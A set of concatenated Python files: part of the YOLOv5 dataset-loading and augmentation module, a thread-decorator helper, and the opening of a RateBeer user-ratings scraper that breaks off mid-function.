ret_val, img0 = self.cap.read()
img0 = cv2.flip(img0, 1) # flip left-right
# Print
assert ret_val, f'Camera Error {self.pipe}'
img_path = 'webcam.jpg'
s = f'webcam {self.count}: '
# Padded resize
img = letterbox(img0, self.img_size, stride=self.stride)[0]
# Convert
img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB
img = np.ascontiguousarray(img)
return img_path, img, img0, None, s
def __len__(self):
return 0
class LoadStreams:
# YOLOv5 streamloader, i.e. `python detect.py --source 'rtsp://example.com/media.mp4' # RTSP, RTMP, HTTP streams`
def __init__(self, sources='streams.txt', img_size=640, stride=32, auto=True):
self.mode = 'stream'
self.img_size = img_size
self.stride = stride
if os.path.isfile(sources):
with open(sources) as f:
sources = [x.strip() for x in f.read().strip().splitlines() if len(x.strip())]
else:
sources = [sources]
n = len(sources)
self.imgs, self.fps, self.frames, self.threads = [None] * n, [0] * n, [0] * n, [None] * n
self.sources = [clean_str(x) for x in sources] # clean source names for later
self.auto = auto
for i, s in enumerate(sources): # index, source
# Start thread to read frames from video stream
st = f'{i + 1}/{n}: {s}... '
if 'youtube.com/' in s or 'youtu.be/' in s: # if source is YouTube video
check_requirements(('pafy', 'youtube_dl'))
import pafy
s = pafy.new(s).getbest(preftype="mp4").url # YouTube URL
s = eval(s) if s.isnumeric() else s # i.e. s = '0' local webcam
cap = cv2.VideoCapture(s)
assert cap.isOpened(), f'{st}Failed to open {s}'
w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
self.fps[i] = max(cap.get(cv2.CAP_PROP_FPS) % 100, 0) or 30.0 # 30 FPS fallback
self.frames[i] = max(int(cap.get(cv2.CAP_PROP_FRAME_COUNT)), 0) or float('inf') # infinite stream fallback
_, self.imgs[i] = cap.read() # guarantee first frame
self.threads[i] = Thread(target=self.update, args=([i, cap, s]), daemon=True)
LOGGER.info(f"{st} Success ({self.frames[i]} frames {w}x{h} at {self.fps[i]:.2f} FPS)")
self.threads[i].start()
LOGGER.info('') # newline
# check for common shapes
s = np.stack([letterbox(x, self.img_size, stride=self.stride, auto=self.auto)[0].shape for x in self.imgs])
self.rect = np.unique(s, axis=0).shape[0] == 1 # rect inference if all shapes equal
if not self.rect:
LOGGER.warning('WARNING: Stream shapes differ. For optimal performance supply similarly-shaped streams.')
def update(self, i, cap, stream):
# Read stream `i` frames in daemon thread
n, f, read = 0, self.frames[i], 1 # frame number, frame array, inference every 'read' frame
while cap.isOpened() and n < f:
n += 1
# _, self.imgs[index] = cap.read()
cap.grab()
if n % read == 0:
success, im = cap.retrieve()
if success:
self.imgs[i] = im
else:
LOGGER.warning('WARNING: Video stream unresponsive, please check your IP camera connection.')
self.imgs[i] *= 0
cap.open(stream) # re-open stream if signal was lost
time.sleep(1 / self.fps[i]) # wait time
def __iter__(self):
self.count = -1
return self
def __next__(self):
self.count += 1
if not all(x.is_alive() for x in self.threads) or cv2.waitKey(1) == ord('q'): # q to quit
cv2.destroyAllWindows()
raise StopIteration
# Letterbox
img0 = self.imgs.copy()
img = [letterbox(x, self.img_size, stride=self.stride, auto=self.rect and self.auto)[0] for x in img0]
# Stack
img = np.stack(img, 0)
# Convert
img = img[..., ::-1].transpose((0, 3, 1, 2)) # BGR to RGB, BHWC to BCHW
img = np.ascontiguousarray(img)
return self.sources, img, img0, None, ''
def __len__(self):
return len(self.sources) # 1E12 frames = 32 streams at 30 FPS for 30 years
def img2label_paths(img_paths):
# Define label paths as a function of image paths
sa, sb = os.sep + 'images' + os.sep, os.sep + 'annotations' + os.sep # /images/, /labels/ substrings
return [sb.join(x.rsplit(sa, 1)).rsplit('.', 1)[0] + '.txt' for x in img_paths]
class LoadImagesAndLabels(Dataset):
# YOLOv5 train_loader/val_loader, loads images and labels for training and validation
cache_version = 0.6 # dataset labels *.cache version
def __init__(self, path, img_size=640, batch_size=16, augment=False, hyp=None, rect=False, image_weights=False,
cache_images=False, single_cls=False, stride=32, pad=0.0, prefix=''):
self.img_size = img_size
self.augment = augment
self.hyp = hyp
self.image_weights = image_weights
self.rect = False if image_weights else rect
self.mosaic = self.augment and not self.rect # load 4 images at a time into a mosaic (only during training)
self.mosaic_border = [-img_size // 2, -img_size // 2]
self.stride = stride
self.path = path
self.albumentations = Albumentations() if augment else None
try:
f = [] # image files
for p in path if isinstance(path, list) else [path]:
p = Path(p) # os-agnostic
if p.is_dir(): # dir
f += glob.glob(str(p / '**' / '*.*'), recursive=True)
# f = list(p.rglob('*.*')) # pathlib
elif p.is_file(): # file
with open(p) as t:
t = t.read().strip().splitlines()
parent = str(p.parent) + os.sep
f += [x.replace('./', parent) if x.startswith('./') else x for x in t] # local to global path
# f += [p.parent / x.lstrip(os.sep) for x in t] # local to global path (pathlib)
else:
raise Exception(f'{prefix}{p} does not exist')
self.img_files = sorted(x.replace('/', os.sep) for x in f if x.split('.')[-1].lower() in IMG_FORMATS)
# self.img_files = sorted([x for x in f if x.suffix[1:].lower() in IMG_FORMATS]) # pathlib
assert self.img_files, f'{prefix}No images found'
except Exception as e:
raise Exception(f'{prefix}Error loading data from {path}: {e}\nSee {HELP_URL}')
# Check cache
self.label_files = img2label_paths(self.img_files) # labels
cache_path = (p if p.is_file() else Path(self.label_files[0]).parent).with_suffix('.cache')
try:
cache, exists = np.load(cache_path, allow_pickle=True).item(), True # load dict
assert cache['version'] == self.cache_version # same version
assert cache['hash'] == get_hash(self.label_files + self.img_files) # same hash
except:
cache, exists = self.cache_labels(cache_path, prefix), False # cache
# Display cache
nf, nm, ne, nc, n = cache.pop('results') # found, missing, empty, corrupted, total
if exists:
d = f"Scanning '{cache_path}' images and labels... {nf} found, {nm} missing, {ne} empty, {nc} corrupted"
tqdm(None, desc=prefix + d, total=n, initial=n) # display cache results
if cache['msgs']:
LOGGER.info('\n'.join(cache['msgs'])) # display warnings
assert nf > 0 or not augment, f'{prefix}No labels in {cache_path}. Can not train without labels. See {HELP_URL}'
# Read cache
[cache.pop(k) for k in ('hash', 'version', 'msgs')] # remove items
labels, shapes, self.segments = zip(*cache.values())
self.labels = list(labels)
self.shapes = np.array(shapes, dtype=np.float64)
self.img_files = list(cache.keys()) # update
self.label_files = img2label_paths(cache.keys()) # update
n = len(shapes) # number of images
bi = np.floor(np.arange(n) / batch_size).astype(np.int) # batch index
nb = bi[-1] + 1 # number of batches
self.batch = bi # batch index of image
self.n = n
self.indices = range(n)
# Update labels
include_class = [] # filter labels to include only these classes (optional)
include_class_array = np.array(include_class).reshape(1, -1)
for i, (label, segment) in enumerate(zip(self.labels, self.segments)):
if include_class:
j = (label[:, 0:1] == include_class_array).any(1)
self.labels[i] = label[j]
if segment:
self.segments[i] = segment[j]
if single_cls: # single-class training, merge all classes into 0
self.labels[i][:, 0] = 0
if segment:
self.segments[i][:, 0] = 0
# Rectangular Training
if self.rect:
# Sort by aspect ratio
s = self.shapes # wh
ar = s[:, 1] / s[:, 0] # aspect ratio
irect = ar.argsort()
self.img_files = [self.img_files[i] for i in irect]
self.label_files = [self.label_files[i] for i in irect]
self.labels = [self.labels[i] for i in irect]
self.shapes = s[irect] # wh
ar = ar[irect]
# Set training image shapes
shapes = [[1, 1]] * nb
for i in range(nb):
ari = ar[bi == i]
mini, maxi = ari.min(), ari.max()
if maxi < 1:
shapes[i] = [maxi, 1]
elif mini > 1:
shapes[i] = [1, 1 / mini]
self.batch_shapes = np.ceil(np.array(shapes) * img_size / stride + pad).astype(np.int) * stride
# Cache images into memory for faster training (WARNING: large datasets may exceed system RAM)
self.imgs, self.img_npy = [None] * n, [None] * n
if cache_images:
if cache_images == 'disk':
self.im_cache_dir = Path(Path(self.img_files[0]).parent.as_posix() + '_npy')
self.img_npy = [self.im_cache_dir / Path(f).with_suffix('.npy').name for f in self.img_files]
self.im_cache_dir.mkdir(parents=True, exist_ok=True)
gb = 0 # Gigabytes of cached images
self.img_hw0, self.img_hw = [None] * n, [None] * n
results = ThreadPool(NUM_THREADS).imap(lambda x: load_image(*x), zip(repeat(self), range(n)))
pbar = tqdm(enumerate(results), total=n)
for i, x in pbar:
if cache_images == 'disk':
if not self.img_npy[i].exists():
np.save(self.img_npy[i].as_posix(), x[0])
gb += self.img_npy[i].stat().st_size
else:
self.imgs[i], self.img_hw0[i], self.img_hw[i] = x # im, hw_orig, hw_resized = load_image(self, i)
gb += self.imgs[i].nbytes
pbar.desc = f'{prefix}Caching images ({gb / 1E9:.1f}GB {cache_images})'
pbar.close()
def cache_labels(self, path=Path('./labels.cache'), prefix=''):
# Cache dataset labels, check images and read shapes
x = {} # dict
nm, nf, ne, nc, msgs = 0, 0, 0, 0, [] # number missing, found, empty, corrupt, messages
desc = f"{prefix}Scanning '{path.parent / path.stem}' images and labels..."
with Pool(NUM_THREADS) as pool:
pbar = tqdm(pool.imap(verify_image_label, zip(self.img_files, self.label_files, repeat(prefix))),
desc=desc, total=len(self.img_files))
for im_file, l, shape, segments, nm_f, nf_f, ne_f, nc_f, msg in pbar:
nm += nm_f
nf += nf_f
ne += ne_f
nc += nc_f
if im_file:
x[im_file] = [l, shape, segments]
if msg:
msgs.append(msg)
pbar.desc = f"{desc}{nf} found, {nm} missing, {ne} empty, {nc} corrupted"
pbar.close()
if msgs:
LOGGER.info('\n'.join(msgs))
if nf == 0:
LOGGER.warning(f'{prefix}WARNING: No labels found in {path}. See {HELP_URL}')
x['hash'] = get_hash(self.label_files + self.img_files)
x['results'] = nf, nm, ne, nc, len(self.img_files)
x['msgs'] = msgs # warnings
x['version'] = self.cache_version # cache version
try:
np.save(path, x) # save cache for next time
path.with_suffix('.cache.npy').rename(path) # remove .npy suffix
LOGGER.info(f'{prefix}New cache created: {path}')
except Exception as e:
LOGGER.warning(f'{prefix}WARNING: Cache directory {path.parent} is not writeable: {e}') # not writeable
return x
def __len__(self):
return len(self.img_files)
# def __iter__(self):
# self.count = -1
# print('ran dataset iter')
# #self.shuffled_vector = np.random.permutation(self.nF) if self.augment else np.arange(self.nF)
# return self
def __getitem__(self, index):
index = self.indices[index] # linear, shuffled, or image_weights
hyp = self.hyp
mosaic = self.mosaic and random.random() < hyp['mosaic']
if mosaic:
# Load mosaic
img, labels = load_mosaic(self, index)
shapes = None
# MixUp augmentation
if random.random() < hyp['mixup']:
img, labels = mixup(img, labels, *load_mosaic(self, random.randint(0, self.n - 1)))
else:
# Load image
img, (h0, w0), (h, w) = load_image(self, index)
# Letterbox
shape = self.batch_shapes[self.batch[index]] if self.rect else self.img_size # final letterboxed shape
img, ratio, pad = letterbox(img, shape, auto=False, scaleup=self.augment)
shapes = (h0, w0), ((h / h0, w / w0), pad) # for COCO mAP rescaling
labels = self.labels[index].copy()
if labels.size: # normalized xywh to pixel xyxy format
labels[:, 1:] = xywhn2xyxy(labels[:, 1:], ratio[0] * w, ratio[1] * h, padw=pad[0], padh=pad[1])
if self.augment:
img, labels = random_perspective(img, labels,
degrees=hyp['degrees'],
translate=hyp['translate'],
scale=hyp['scale'],
shear=hyp['shear'],
perspective=hyp['perspective'])
nl = len(labels) # number of labels
if nl:
labels[:, 1:5] = xyxy2xywhn(labels[:, 1:5], w=img.shape[1], h=img.shape[0], clip=True, eps=1E-3)
if self.augment:
# Albumentations
img, labels = self.albumentations(img, labels)
nl = len(labels) # update after albumentations
# HSV color-space
augment_hsv(img, hgain=hyp['hsv_h'], sgain=hyp['hsv_s'], vgain=hyp['hsv_v'])
# Flip up-down
if random.random() < hyp['flipud']:
img = np.flipud(img)
if nl:
labels[:, 2] = 1 - labels[:, 2]
# Flip left-right
if random.random() < hyp['fliplr']:
img = np.fliplr(img)
if nl:
labels[:, 1] = 1 - labels[:, 1]
# Cutouts
# labels = cutout(img, labels, p=0.5)
labels_out = torch.zeros((nl, 6))
if nl:
labels_out[:, 1:] = torch.from_numpy(labels)
# Convert
img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB
img = np.ascontiguousarray(img)
return torch.from_numpy(img), labels_out, self.img_files[index], shapes
@staticmethod
def collate_fn(batch):
img, label, path, shapes = zip(*batch) # transposed
for i, l in enumerate(label):
l[:, 0] = i # add target image index for build_targets()
return torch.stack(img, 0), torch.cat(label, 0), path, shapes
@staticmethod
def collate_fn4(batch):
img, label, path, shapes = zip(*batch) # transposed
n = len(shapes) // 4
img4, label4, path4, shapes4 = [], [], path[:n], shapes[:n]
ho = torch.tensor([[0.0, 0, 0, 1, 0, 0]])
wo = torch.tensor([[0.0, 0, 1, 0, 0, 0]])
s = torch.tensor([[1, 1, 0.5, 0.5, 0.5, 0.5]]) # scale
for i in range(n): # zidane torch.zeros(16,3,720,1280) # BCHW
i *= 4
if random.random() < 0.5:
im = F.interpolate(img[i].unsqueeze(0).float(), scale_factor=2.0, mode='bilinear', align_corners=False)[
0].type(img[i].type())
l = label[i]
else:
im = torch.cat((torch.cat((img[i], img[i + 1]), 1), torch.cat((img[i + 2], img[i + 3]), 1)), 2)
l = torch.cat((label[i], label[i + 1] + ho, label[i + 2] + wo, label[i + 3] + ho + wo), 0) * s
img4.append(im)
label4.append(l)
for i, l in enumerate(label4):
l[:, 0] = i # add target image index for build_targets()
return torch.stack(img4, 0), torch.cat(label4, 0), path4, shapes4
# Ancillary functions --------------------------------------------------------------------------------------------------
def load_image(self, i):
# loads 1 image from dataset index 'i', returns im, original hw, resized hw
im = self.imgs[i]
if im is None: # not cached in ram
npy = self.img_npy[i]
if npy and npy.exists(): # load npy
im = np.load(npy)
else: # read image
path = self.img_files[i]
im = cv2.imread(path) # BGR
assert im is not None, f'Image Not Found {path}'
h0, w0 = im.shape[:2] # orig hw
r = self.img_size / max(h0, w0) # ratio
if r != 1: # if sizes are not equal
im = cv2.resize(im, (int(w0 * r), int(h0 * r)),
interpolation=cv2.INTER_AREA if r < 1 and not self.augment else cv2.INTER_LINEAR)
return im, (h0, w0), im.shape[:2] # im, hw_original, hw_resized
else:
return self.imgs[i], self.img_hw0[i], self.img_hw[i] # im, hw_original, hw_resized
def load_mosaic(self, index):
# YOLOv5 4-mosaic loader. Loads 1 image + 3 random images into a 4-image mosaic
labels4, segments4 = [], []
s = self.img_size
yc, xc = (int(random.uniform(-x, 2 * s + x)) for x in self.mosaic_border) # mosaic center x, y
indices = [index] + random.choices(self.indices, k=3) # 3 additional image indices
random.shuffle(indices)
for i, index in enumerate(indices):
# Load image
img, _, (h, w) = load_image(self, index)
# place img in img4
if i == 0: # top left
img4 = np.full((s * 2, s * 2, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles
x1a, y1a, x2a, y2a = max(xc - w, 0), max(yc - h, 0), xc, yc # xmin, ymin, xmax, ymax (large image)
x1b, y1b, x2b, y2b = w - (x2a - x1a), h - (y2a - y1a), w, h # xmin, ymin, xmax, ymax (small image)
elif i == 1: # top right
x1a, y1a, x2a, y2a = xc, max(yc - h, 0), min(xc + w, s * 2), yc
x1b, y1b, x2b, y2b = 0, h - (y2a - y1a), min(w, x2a - x1a), h
elif i == 2: # bottom left
x1a, y1a, x2a, y2a = max(xc - w, 0), yc, xc, min(s * 2, yc + h)
x1b, y1b, x2b, y2b = w - (x2a - x1a), 0, w, min(y2a - y1a, h)
elif i == 3: # bottom right
x1a, y1a, x2a, y2a = xc, yc, min(xc + w, s * 2), min(s * 2, yc + h)
x1b, y1b, x2b, y2b = 0, 0, min(w, x2a - x1a), min(y2a - y1a, h)
img4[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b] # img4[ymin:ymax, xmin:xmax]
padw = x1a - x1b
padh = y1a - y1b
# Labels
labels, segments = self.labels[index].copy(), self.segments[index].copy()
if labels.size:
labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padw, padh) # normalized xywh to pixel xyxy format
segments = [xyn2xy(x, w, h, padw, padh) for x in segments]
labels4.append(labels)
segments4.extend(segments)
# Concat/clip labels
labels4 = np.concatenate(labels4, 0)
for x in (labels4[:, 1:], *segments4):
np.clip(x, 0, 2 * s, out=x) # clip when using random_perspective()
# img4, labels4 = replicate(img4, labels4) # replicate
# Augment
img4, labels4, segments4 = copy_paste(img4, labels4, segments4, p=self.hyp['copy_paste'])
img4, labels4 = random_perspective(img4, labels4, segments4,
degrees=self.hyp['degrees'],
translate=self.hyp['translate'],
scale=self.hyp['scale'],
shear=self.hyp['shear'],
perspective=self.hyp['perspective'],
border=self.mosaic_border) # border to remove
return img4, labels4
def load_mosaic9(self, index):
# YOLOv5 9-mosaic loader. Loads 1 image + 8 random images into a 9-image mosaic
labels9, segments9 = [], []
s = self.img_size
indices = [index] + random.choices(self.indices, k=8) # 8 additional image indices
random.shuffle(indices)
for i, index in enumerate(indices):
# Load image
img, _, (h, w) = load_image(self, index)
# place img in img9
if i == 0: # center
img9 = np.full((s * 3, s * 3, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles
h0, w0 = h, w
c = s, s, s + w, s + h # xmin, ymin, xmax, ymax (base) coordinates
elif i == 1: # top
c = s, s - h, s + w, s
elif i == 2: # top right
c = s + wp, s - h, s + wp + w, s
elif i == 3: # right
c = s + w0, s, s + w0 + w, s + h
elif i == 4: # bottom right
c = s + w0, s + hp, s + w0 + w, s + hp + h
elif i == 5: # bottom
c = s + w0 - w, s + h0, s + w0, s + h0 + h
elif i == 6: # bottom left
c = s + w0 - wp - w, s + h0, s + w0 - wp, s + h0 + h
elif i == 7: # left
c = s - w, s + h0 - h, s, s + h0
elif i == 8: # top left
c = s - w, s + h0 - hp - h, s, s + h0 - hp
padx, pady = c[:2]
x1, y1, x2, y2 = (max(x, 0) for x in c) # allocate coords
# Labels
labels, segments = self.labels[index].copy(), self.segments[index].copy()
if labels.size:
labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padx, pady) # normalized xywh to pixel xyxy format
segments = [xyn2xy(x, w, h, padx, pady) for x in segments]
labels9.append(labels)
segments9.extend(segments)
# Image
img9[y1:y2, x1:x2] = img[y1 - pady:, x1 - padx:] # img9[ymin:ymax, xmin:xmax]
hp, wp = h, w # height, width previous
# Offset
yc, xc = (int(random.uniform(0, s)) for _ in self.mosaic_border) # mosaic center x, y
img9 = img9[yc:yc + 2 * s, xc:xc + 2 * s]
# Concat/clip labels
labels9 = np.concatenate(labels9, 0)
labels9[:, [1, 3]] -= xc
labels9[:, [2, 4]] -= yc
c = np.array([xc, yc]) # centers
segments9 = [x - c for x in segments9]
for x in (labels9[:, 1:], *segments9):
np.clip(x, 0, 2 * s, out=x) # clip when using random_perspective()
# img9, labels9 = replicate(img9, labels9) # replicate
# Augment
img9, labels9 = random_perspective(img9, labels9, segments9,
degrees=self.hyp['degrees'],
translate=self.hyp['translate'],
scale=self.hyp['scale'],
shear=self.hyp['shear'],
perspective=self.hyp['perspective'],
border=self.mosaic_border) # border to remove
return img9, labels9
def create_folder(path='./new'):
# Create folder
if os.path.exists(path):
shutil.rmtree(path) # delete output folder
os.makedirs(path) # make new output folder
def flatten_recursive(path='../datasets/coco128'):
# Flatten a recursive directory by bringing all files to top level
new_path = Path(path + '_flat')
create_folder(new_path)
for file in tqdm(glob.glob(str(Path(path)) + '/**/*.*', recursive=True)):
shutil.copyfile(file, new_path / Path(file).name)
def extract_boxes(path='../datasets/coco128'): # from utils.datasets import *; extract_boxes()
# Convert detection dataset into classification dataset, with one directory per class
path = Path(path) # images dir
shutil.rmtree(path / 'classifier') if (path / 'classifier').is_dir() else None # remove existing
files = list(path.rglob('*.*'))
n = len(files) # number of files
for im_file in tqdm(files, total=n):
if im_file.suffix[1:] in IMG_FORMATS:
# image
im = cv2.imread(str(im_file))[..., ::-1] # BGR to RGB
h, w = im.shape[:2]
# labels
lb_file = Path(img2label_paths([str(im_file)])[0])
if Path(lb_file).exists():
with open(lb_file) as f:
lb = np.array([x.split() for x in f.read().strip().splitlines()], dtype=np.float32) # labels
for j, x in enumerate(lb):
c = int(x[0]) # class
f = (path / 'classifier') / f'{c}' / f'{path.stem}_{im_file.stem}_{j}.jpg' # new filename
if not f.parent.is_dir():
f.parent.mkdir(parents=True)
b = x[1:] * [w, h, w, h] # box
# b[2:] = b[2:].max() # rectangle to square
b[2:] = b[2:] * 1.2 + 3 # pad
b = xywh2xyxy(b.reshape(-1, 4)).ravel().astype(np.int)
b[[0, 2]] = np.clip(b[[0, 2]], 0, w) # clip boxes outside of image
b[[1, 3]] = np.clip(b[[1, 3]], 0, h)
assert cv2.imwrite(str(f), im[b[1]:b[3], b[0]:b[2]]), f'box failure in {f}'
def autosplit(path='../datasets/coco128/images', weights=(0.9, 0.1, 0.0), annotated_only=False):
""" Autosplit a dataset into train/val/test splits and save path/autosplit_*.txt files
Usage: from utils.datasets import *; autosplit()
Arguments
path: Path to images directory
weights: Train, val, test weights (list, tuple)
annotated_only: Only use images with an annotated txt file
"""
path = Path(path) # images dir
files = sorted(x for x in path.rglob('*.*') if x.suffix[1:].lower() in IMG_FORMATS) # image files only
n = len(files) # number of files
random.seed(0) # for reproducibility
indices = random.choices([0, 1, 2], weights=weights, k=n) # assign each image to a split
txt = ['autosplit_train.txt', 'autosplit_val.txt', 'autosplit_test.txt'] # 3 txt files
[(path.parent / x).unlink(missing_ok=True) for x in txt] # remove existing
print(f'Autosplitting images from {path}' + ', using *.txt labeled images only' * annotated_only)
for i, img in tqdm(zip(indices, files), total=n):
if not annotated_only or Path(img2label_paths([str(img)])[0]).exists(): # check label
with open(path.parent / txt[i], 'a') as f:
f.write('./' + img.relative_to(path.parent).as_posix() + '\n') # add image to txt file
def verify_image_label(args):
# Verify one image-label pair
im_file, lb_file, prefix = args
nm, nf, ne, nc, msg, segments = 0, 0, 0, 0, '', [] # number (missing, found, empty, corrupt), message, segments
try:
# verify images
im = Image.open(im_file)
im.verify() # PIL verify
shape = exif_size(im) # image size
assert (shape[0] > 9) & (shape[1] > 9), f'image size {shape} <10 pixels'
assert im.format.lower() in IMG_FORMATS, f'invalid image format {im.format}'
if im.format.lower() in ('jpg', 'jpeg'):
with open(im_file, 'rb') as f:
f.seek(-2, 2)
if f.read() != b'\xff\xd9': # corrupt JPEG
ImageOps.exif_transpose(Image.open(im_file)).save(im_file, 'JPEG', subsampling=0, quality=100)
msg = f'{prefix}WARNING: {im_file}: corrupt JPEG restored and saved'
# verify labels
if os.path.isfile(lb_file):
nf = 1 # label found
with open(lb_file) as f:
l = [x.split() for x in f.read().strip().splitlines() if len(x)]
if any([len(x) > 8 for x in l]): # is segment
classes = np.array([x[0] for x in l], dtype=np.float32)
segments = [np.array(x[1:], dtype=np.float32).reshape(-1, 2) for x in l] # (cls, xy1...)
l = np.concatenate((classes.reshape(-1, 1), segments2boxes(segments)), 1) # (cls, xywh)
l = np.array(l, dtype=np.float32)
nl = len(l)
if nl:
assert l.shape[1] == 5, f'labels require 5 columns, {l.shape[1]} columns detected'
assert (l >= 0).all(), f'negative label values {l[l < 0]}'
assert (l[:, 1:] <= 1).all(), f'non-normalized or out of bounds coordinates {l[:, 1:][l[:, 1:] > 1]}'
_, i = np.unique(l, axis=0, return_index=True)
if len(i) < nl: # duplicate row check
l = l[i] # remove duplicates
if segments:
segments = segments[i]
msg = f'{prefix}WARNING: {im_file}: {nl - len(i)} duplicate labels removed'
else:
ne = 1 # label empty
l = np.zeros((0, 5), dtype=np.float32)
else:
nm = 1 # label missing
l = np.zeros((0, 5), dtype=np.float32)
return im_file, l, shape, segments, nm, nf, ne, nc, msg
except Exception as e:
nc = 1
msg = f'{prefix}WARNING: {im_file}: ignoring corrupt image/label: {e}'
return [None, None, None, None, nm, nf, ne, nc, msg]
def dataset_stats(path='coco128.yaml', autodownload=False, verbose=False, profile=False, hub=False):
""" Return dataset statistics dictionary with images and instances counts per split per class
To run in parent directory: export PYTHONPATH="$PWD/yolov5"
Usage1: from utils.datasets import *; dataset_stats('coco128.yaml', autodownload=True)
Usage2: from utils.datasets import *; dataset_stats('../datasets/coco128_with_yaml.zip')
Arguments
path: Path to data.yaml or data.zip (with data.yaml inside data.zip)
autodownload: Attempt to download dataset if not found locally
verbose: Print stats dictionary
"""
def round_labels(labels):
# Update labels to integer class and 6 decimal place floats
return [[int(c), *(round(x, 4) for x in points)] for c, *points in labels]
def unzip(path):
# Unzip data.zip TODO: CONSTRAINT: path/to/abc.zip MUST unzip to 'path/to/abc/'
if str(path).endswith('.zip'): # path is data.zip
assert Path(path).is_file(), f'Error unzipping {path}, file not found'
ZipFile(path).extractall(path=path.parent) # unzip
dir = path.with_suffix('') # dataset directory == zip name
return True, str(dir), next(dir.rglob('*.yaml')) # zipped, data_dir, yaml_path
else: # path is data.yaml
return False, None, path
def hub_ops(f, max_dim=1920):
# HUB ops for 1 image 'f': resize and save at reduced quality in /dataset-hub for web/app viewing
f_new = im_dir / Path(f).name # dataset-hub image filename
try: # use PIL
im = Image.open(f)
r = max_dim / max(im.height, im.width) # ratio
if r < 1.0: # image too large
im = im.resize((int(im.width * r), int(im.height * r)))
im.save(f_new, 'JPEG', quality=75, optimize=True) # save
except Exception as e: # use OpenCV
print(f'WARNING: HUB ops PIL failure {f}: {e}')
im = cv2.imread(f)
im_height, im_width = im.shape[:2]
r = max_dim / max(im_height, im_width) # ratio
if r < 1.0: # image too large
im = cv2.resize(im, (int(im_width * r), int(im_height * r)), interpolation=cv2.INTER_LINEAR)
cv2.imwrite(str(f_new), im)
zipped, data_dir, yaml_path = unzip(Path(path))
with open(check_yaml(yaml_path), errors='ignore') as f:
data = yaml.safe_load(f) # data dict
if zipped:
data['path'] = data_dir # TODO: should this be dir.resolve()?
check_dataset(data, autodownload) # download dataset if missing
hub_dir = Path(data['path'] + ('-hub' if hub else ''))
stats = {'nc': data['nc'], 'names': data['names']} # statistics dictionary
for split in 'train', 'val', 'test':
if data.get(split) is None:
stats[split] = None # i.e. no test set
continue
x = []
dataset = LoadImagesAndLabels(data[split]) # load dataset
for label in tqdm(dataset.labels, total=dataset.n, desc='Statistics'):
x.append(np.bincount(label[:, 0].astype(int), minlength=data['nc']))
x = np.array(x) # shape(128x80)
stats[split] = {'instance_stats': {'total': int(x.sum()), 'per_class': x.sum(0).tolist()},
'image_stats': {'total': dataset.n, 'unlabelled': int(np.all(x == 0, 1).sum()),
'per_class': (x > 0).sum(0).tolist()},
'labels': [{str(Path(k).name): round_labels(v.tolist())} for k, v in
zip(dataset.img_files, dataset.labels)]}
if hub:
im_dir = hub_dir / 'images'
im_dir.mkdir(parents=True, exist_ok=True)
for _ in tqdm(ThreadPool(NUM_THREADS).imap(hub_ops, dataset.img_files), total=dataset.n, desc='HUB Ops'):
pass
# Profile
stats_path = hub_dir / 'stats.json'
if profile:
for _ in range(1):
file = stats_path.with_suffix('.npy')
t1 = time.time()
np.save(file, stats)
t2 = time.time()
x = np.load(file, allow_pickle=True)
print(f'stats.npy times: {time.time() - t2:.3f}s read, {t2 - t1:.3f}s write')
file = stats_path.with_suffix('.json')
t1 = time.time()
with open(file, 'w') as f:
json.dump(stats, f) # save stats *.json
t2 = time.time()
with open(file) as f:
x = json.load(f) # load hyps dict
print(f'stats.json times: {time.time() - t2:.3f}s read, {t2 - t1:.3f}s write')
# Save, print and return
if hub:
print(f'Saving {stats_path.resolve()}...')
with open(stats_path, 'w') as f:
json.dump(stats, f) # save stats.json
if verbose:
print(json.dumps(stats, indent=2, sort_keys=False))
return stats
|
thread_custom.py | import queue
from threading import Thread, Event
def threaded(f, daemon=False):
def wrapped_f(q, *args, **kwargs):
'''this function calls the decorated function and puts the
result in a queue'''
ret = f(*args, **kwargs)
q.put(ret)
def wrap(*args, **kwargs):
'''this is the function returned from the decorator. It fires off
wrapped_f in a new thread and returns the thread object with
the result queue attached'''
q = queue.Queue()
t = Thread(target=wrapped_f, args=(q,)+args, kwargs=kwargs)
t.daemon = daemon
t.start()
t.result_queue = q
return t
return wrap
|
profile_scraper.py | import requests
import threading
from bs4 import BeautifulSoup
import Queue
from sys import argv
def formUrl(user_id, page):
return 'https://www.ratebeer.com/ajax/user/{0}/beer-ratings/{1}/5/'.format(user_id, page)
def getPagnination(soup):
try:
pages = int(soup.ul.findChildren()[-1]['href'].split('/')[-3])
except:
pages = 1
return pages
def reviewPages(user_id):
intitial = formUrl(user_id, 1)
soup = BeautifulSoup(requests.get(intitial).text)
pages = getPagnination(soup)
urls = []
for i in xrange(1, pages + 1):
urls.append(formUrl(user_id, i))
return(urls)
def getReview(soup):
div_curvy = soup.findAll('div', class_='curvy')
for i in div_curvy[-1].text.split('/'):
if u'OVERALL' in i:
return int(i[-2:].strip())
def fetchreqs(url, out, get_id=False):
req = requests.get(url)
if get_id == True:
beer_id = getId(url)
out.append((req, beer_id))
else:
out.append(req)
def threadedReqs(url_list, get_id=False):
out = []
if get_id == False:
threads = [threading.Thread(target=fetchreqs, args=(url, out)) for url in url_list]
else:
threads = [threading.Thread(target=fetchreqs, args=(url, out, True)) for url in url_list]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
return out
def getSoup(reqs, get_id=False):
if get_id == False:
return [BeautifulSoup(req.text) for req in reqs]
else:
out = []
for req, beer_id in reqs:
out.append((BeautifulSoup(req.text), beer_id))
return out
def reviewlinks(soup):
links = []
for a in soup.tbody.findAll('a'):
if a['href'][:6] == u'/beer/':
links.append(u'http://www.ratebeer.com' + a['href'])
return links
def gatherReviewUrls(soup_list):
url_list = []
for soup in soup_list:
url_list.extend(reviewlinks(soup))
return url_list
def gatherReviews(soup_beerid_list):
reviews = []
for soup, beer_id in soup_beerid_list:
review = getReview(soup)
reviews.append((review, beer_id))
return reviews
def getId(url):
return int(url.split('/')[-3])
def scrapeProfile(user_id):
# request all pages containing list of reviews beers
pages = reviewPages(user_id)
reqs = threadedReqs(pages)
# create beautiful soup objects and parse for links to user reviews
soups = getSoup(reqs)
